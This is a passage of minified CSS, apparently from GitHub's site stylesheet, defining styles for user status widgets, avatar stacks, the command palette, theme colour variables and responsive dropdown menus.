.starred{color:var(--color-attention-fg);border:0}.topic-box .unstarred{color:var(--color-fg-muted);border:0}.user-status-suggestions{height:98px;transition:height 100ms ease-out,opacity 200ms ease-in}.user-status-suggestions.collapsed{height:0;opacity:0}.user-status-container,.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container{word-break:break-word;word-wrap:break-word}.user-status-container .input-group-button .btn{width:46px;height:34px;line-height:0}.user-status-container .input-group-button g-emoji{font-size:1.3em;line-height:18px}.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container img.emoji{width:18px;height:18px}.emoji-status-width{width:20px}.user-status-org-button .user-status-org-detail{color:var(--color-fg-muted)}.user-status-org-button:hover .user-status-org-detail,.user-status-org-button:focus .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-org-button.selected{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.user-status-org-button.selected .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-limited-availability-compact{width:8px;height:8px;background-color:var(--color-attention-emphasis)}.user-status-message-wrapper{color:var(--color-fg-default)}.toggle-user-status-edit:hover .user-status-message-wrapper,.toggle-user-status-edit:focus .user-status-message-wrapper{color:var(--color-accent-fg)}.user-status-message-wrapper div{display:inline}.user-status-header g-emoji{font-size:1.25em}.user-status-message-wrapper .g-emoji{display:inline-block}.user-status-limited-availability-container{margin-top:16px;margin-bottom:16px}@media only screen and (max-height: 560px){.user-status-suggestions{display:none}.user-status-limited-availability-container{margin-top:8px;margin-bottom:8px}}.user-status-circle-badge{background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:2em;box-shadow:var(--color-shadow-small)}.command-palette{box-shadow:var(--color-overlay-shadow)}@media(min-width: 768px){.command-palette-details-dialog{width:512px}}@media(min-width: 1012px){.command-palette-details-dialog{width:640px}}@media(min-width: 1280px){.command-palette-details-dialog{width:720px}}.page-stack-transition-height{overflow-y:scroll;transition-timing-function:cubic-bezier(0.25, 0.46, 0.45, 0.94);transition-duration:.2s;transition-property:max-height,min-height}.page-stack-transition-height.no-transition{transition-duration:0s}.command-palette-input-group{position:relative;z-index:0;padding-left:0;color:var(--color-fg-subtle)}.command-palette-input-group .no-focus-indicator:focus,.command-palette-input-group .no-focus-indicator:focus-visible{border:0 !important;outline:none !important}.command-palette-input-group .command-palette-typeahead{position:absolute;z-index:1;padding:inherit;pointer-events:none}.command-palette-input-group .command-palette-typeahead .typeahead-segment{white-space:pre}.command-palette-input-group .command-palette-typeahead .typeahead-segment.input-mirror{opacity:0}.command-palette-input-group .typeahead-input{padding:inherit}.command-palette-input-clear-button{color:var(--color-fg-subtle)}.command-palette-input-clear-button:hover{color:var(--color-fg-muted)}themed-picture{visibility:hidden}.is-auto-complete-loading :not(input).form-control{padding-right:0;background-image:none}.ActionMenu{position:absolute;z-index:999;display:none;background-color:var(--color-canvas-overlay)}@media(min-width: 1012px){.hx_actions-sidebar{max-width:320px}}.hx_anim-fade-out{animation-name:hx-fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}@keyframes hx-fade-out{0%{opacity:1}100%{opacity:0}}.AvatarStack--large{min-width:44px;height:32px}.AvatarStack--large.AvatarStack--two{min-width:48px}.AvatarStack--large.AvatarStack--three-plus{min-width:52px}.AvatarStack--large .AvatarStack-body .avatar{width:32px;height:32px;margin-right:-28px}.AvatarStack--large .AvatarStack-body:hover .avatar{margin-right:4px}.AvatarStack--large .avatar.avatar-more::before{width:32px}.AvatarStack--large .avatar.avatar-more::after{width:30px}.AvatarStack--large .avatar.avatar-more::after,.AvatarStack--large .avatar.avatar-more::before{height:32px}.hx_avatar_stack_commit .AvatarStack{min-width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack .avatar{width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--two{min-width:40px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--three-plus{min-width:44px}.hx_flex-avatar-stack{display:flex;align-items:center}.hx_flex-avatar-stack-item{min-width:0;max-width:24px}.hx_flex-avatar-stack-item .avatar{display:block;background-color:var(--color-canvas-default);border:2px solid var(--color-canvas-default);box-shadow:none}.hx_flex-avatar-stack-item:last-of-type{flex-shrink:0;max-width:none}.Box-row--focus-gray.navigation-focus .AvatarStack-body{background-color:var(--color-canvas-subtle)}.AvatarStack-body:not(:hover){background-color:transparent}.AvatarStack--three-plus.AvatarStack--three-plus .avatar-more{display:none}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover) .avatar:nth-of-type(n + 6){display:none;opacity:0}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(1){z-index:5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(2){z-index:4}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(3){z-index:3}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(4){z-index:2}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(5){z-index:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3) img{opacity:.5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4) img{opacity:.33}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5) img{opacity:.25}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-6px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:-6px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-2px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-30px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-30px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-10px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-21px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-21px}.hx_badge-search-container{cursor:text}.hx_badge-search-container .hx_badge-input{border:0;outline:0;box-shadow:none}.hx_badge-search-container .hx_badge-input:focus{border:0 !important;box-shadow:none !important}.hx_badge-search-container .hx_badge-input::placeholder{font-size:12px}.hx_badge-search-container .hx_badge-input-inline{height:30px}.hx_badge{cursor:pointer}.hx_badge[aria-pressed=true]{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis) !important;border-color:var(--color-accent-emphasis) !important}.hx_Box--firstRowRounded0 .Box-row:first-of-type{border-top-left-radius:0;border-top-right-radius:0}.Box-row:first-of-type{border-top-color:transparent}.hx_Box-row--with-top-border:first-of-type{border-top-color:inherit}.Box--overlay [data-close-dialog],.Box-overlay--narrow [data-close-dialog],.Box-overlay--wide [data-close-dialog]{z-index:1}.dropdown-item.btn-link:disabled,.dropdown-item.btn-link:disabled:hover,.dropdown-item.btn-link[aria-disabled=true],.dropdown-item.btn-link[aria-disabled=true]:hover{background-color:transparent}@media(hover: hover){.hx_menuitem--focus{background-color:var(--color-canvas-subtle)}}@media(-webkit-min-device-pixel-ratio: 2)and (-webkit-min-device-pixel-ratio: 0), (-webkit-min-device-pixel-ratio: 2)and (min-resolution: 0.001dpcm){g-emoji{font-size:1.25em}}.hx_create-pr-button:hover{border-right-width:0}.hx_create-pr-button:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:1px}summary[type=button].btn{-webkit-appearance:none;appearance:none}.form-control:-webkit-autofill{box-shadow:inset 0 0 0 32px var(--color-canvas-default) !important;-webkit-text-fill-color:var(--color-fg-default)}.form-control:-webkit-autofill:focus{box-shadow:inset 0 0 0 32px var(--color-canvas-default),var(--color-primer-shadow-focus) !important}::-webkit-calendar-picker-indicator{filter:invert(50%)}[data-color-mode=light][data-light-theme*=dark] ::selection,[data-color-mode=dark][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}.hx_color-icon-directory{color:var(--color-icon-directory)}.hx_comment-box--tip::after{background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default)) !important}.hx_keyword-hl{background-color:var(--color-search-keyword-hl)}.hx_dot-fill-pending-icon{color:var(--color-attention-emphasis) !important}@media(max-width: 543px){[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}:root[data-color-mode=dark] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .readme [href$="#gh-light-mode-only"]{display:none}:root[data-color-mode=light] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .readme [href$="#gh-dark-mode-only"]{display:none}@media(prefers-color-scheme: dark){:root[data-color-mode=auto] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-light-mode-only"]{display:none}}@media(prefers-color-scheme: light){:root[data-color-mode=auto] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-dark-mode-only"]{display:none}}.colorblind-themes-v1{--color-open-fg: var(--color-success-fg);--color-open-emphasis: var(--color-success-emphasis);--color-open-muted: var(--color-success-muted);--color-open-subtle: var(--color-success-subtle);--color-closed-fg: var(--color-danger-fg);--color-closed-emphasis: var(--color-danger-emphasis);--color-closed-muted: var(--color-danger-muted);--color-closed-subtle: var(--color-danger-subtle)}.dropdown-item:focus [class*=color-text-],.dropdown-item:hover [class*=color-text-]{color:inherit !important}.filter-item.selected [class*=color-text-]{color:inherit !important}body:not(.intent-mouse) .hx_focus-input:focus+.hx_focus-target{box-shadow:var(--color-btn-shadow-input-focus)}.reset-btn-override{font-weight:600;color:var(--color-fg-muted)}.reset-btn-override:hover{color:var(--color-accent-fg);text-decoration:none}.reset-btn-override:hover .reset-btn-override-icon{background-color:var(--color-accent-emphasis)}.reset-btn-override-icon{width:18px;height:18px;padding:1px;margin-right:3px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.is-auto-complete-loading .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_breadcrumb-header .header-search-wrapper{height:32px}.hx_breadcrumb-header .notification-indicator .mail-status,.hx_breadcrumb-header .unread-indicator{background-color:var(--color-accent-emphasis);background-image:none}.hx_breadcrumb-header .Header-link,.hx_breadcrumb-header .Header-current-page{color:var(--color-header-logo)}.hx_breadcrumb-header-crumbs .Header-link,.hx_breadcrumb-header-logo{transition:opacity .1s ease-out}.hx_breadcrumb-header-crumbs .Header-link:hover,.hx_breadcrumb-header-logo:hover{color:var(--color-header-text);opacity:.75}.hx_breadcrumb-header-divider{color:var(--color-header-divider)}.Header-button{background-color:var(--color-scale-gray-8);border:1px solid var(--color-scale-gray-6);border-radius:6px;transition:background-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.Header-button .octicon{color:var(--color-header-logo)}.Header-button:hover,.Header-button:focus,.Header-button:active{background-color:transparent}.Header-button:hover .octicon,.Header-button:focus .octicon,.Header-button:active .octicon{color:var(--color-header-text);box-shadow:none}.hx_breadcrumb-header-dropdown::before,.hx_breadcrumb-header-dropdown::after{display:none}.hx_breadcrumb-header-dropdown .dropdown-item{line-height:40px;transition:background-color 60ms ease-out}.hx_breadcrumb-header-dropdown .dropdown-item:hover{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.icon-sponsor,.icon-sponsoring{transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2);transform:scale(1)}.btn:hover .icon-sponsor,.btn:focus .icon-sponsor,.Label:hover .icon-sponsor,.Label:focus .icon-sponsor,.btn:hover .icon-sponsoring,.btn:focus .icon-sponsoring,.Label:hover .icon-sponsoring,.Label:focus .icon-sponsoring{transform:scale(1.1)}.icon-sponsor{overflow:visible !important}.hx_kbd{display:inline-block;min-width:21px;padding:0 4px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted);text-align:center;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:none}.hx_hit-user em,.hx_hit-package em,.hx_hit-marketplace em,.hx_hit-highlighting-wrapper em,.hx_hit-commit em,.hx_hit-issue em,.hx_hit-repo em,.hx_hit-wiki em{font-style:normal;font-weight:600}.SelectMenu-list.select-menu-list{max-height:none}@media(max-width: 543px){.SelectMenu-modal{width:unset !important}}.SelectMenu--hasFilter .SelectMenu-list{contain:content}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-fg-muted);pointer-events:none}.SelectMenu .SelectMenu-item .is-filtering{color:var(--color-fg-muted)}.SelectMenu .SelectMenu-item .is-filtering b{color:var(--color-fg-default)}label.SelectMenu-item{font-weight:400}label.SelectMenu-item[aria-checked=true]{font-weight:600}.hx_SelectMenu-modal-no-animation{animation:none}.Box--responsive{margin-right:-15px;margin-left:-15px;border-right:0;border-left:0;border-radius:0}.Box--responsive .Box-row--unread{position:relative;box-shadow:none}.Box--responsive .Box-row--unread::before{position:absolute;top:36px;left:20px;display:inline-block;width:8px;height:8px;color:#fff;content:"";background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border-radius:50%}.Box--responsive .Box-header{border-right-width:0;border-left-width:0;border-radius:0}@media(min-width: 544px){.Box--responsive{margin-right:0;margin-left:0;border:1px solid var(--color-border-default);border-radius:6px}.Box--responsive .Box-header{border-right-width:1px;border-left-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box--responsive .Box-row--unread{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.Box--responsive .Box-row--unread::before{display:none}}@media(max-width: 767px){.page-responsive .dropdown-menu,.page-responsive .dropdown-item{padding-top:8px;padding-bottom:8px}.page-responsive .hx_dropdown-fullscreen[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_dropdown-fullscreen .dropdown-menu{position:fixed;top:auto;right:16px !important;bottom:20%;left:16px !important;width:auto !important;max-width:none !important;max-height:calc(80% - 16px);margin:0 !important;overflow-y:auto;transform:none;animation:dropdown-menu-animation .24s cubic-bezier(0, 0.1, 0.1, 1) backwards;-webkit-overflow-scrolling:touch}.page-responsive .hx_dropdown-fullscreen .dropdown-menu::before,.page-responsive .hx_dropdown-fullscreen .dropdown-menu::after{display:none}@keyframes dropdown-menu-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_dropdown-fullscreen .dropdown-item{padding-top:16px;padding-bottom:16px}}.hx_rsm-close-button{display:none !important}@media(max-width: 767px){.page-responsive 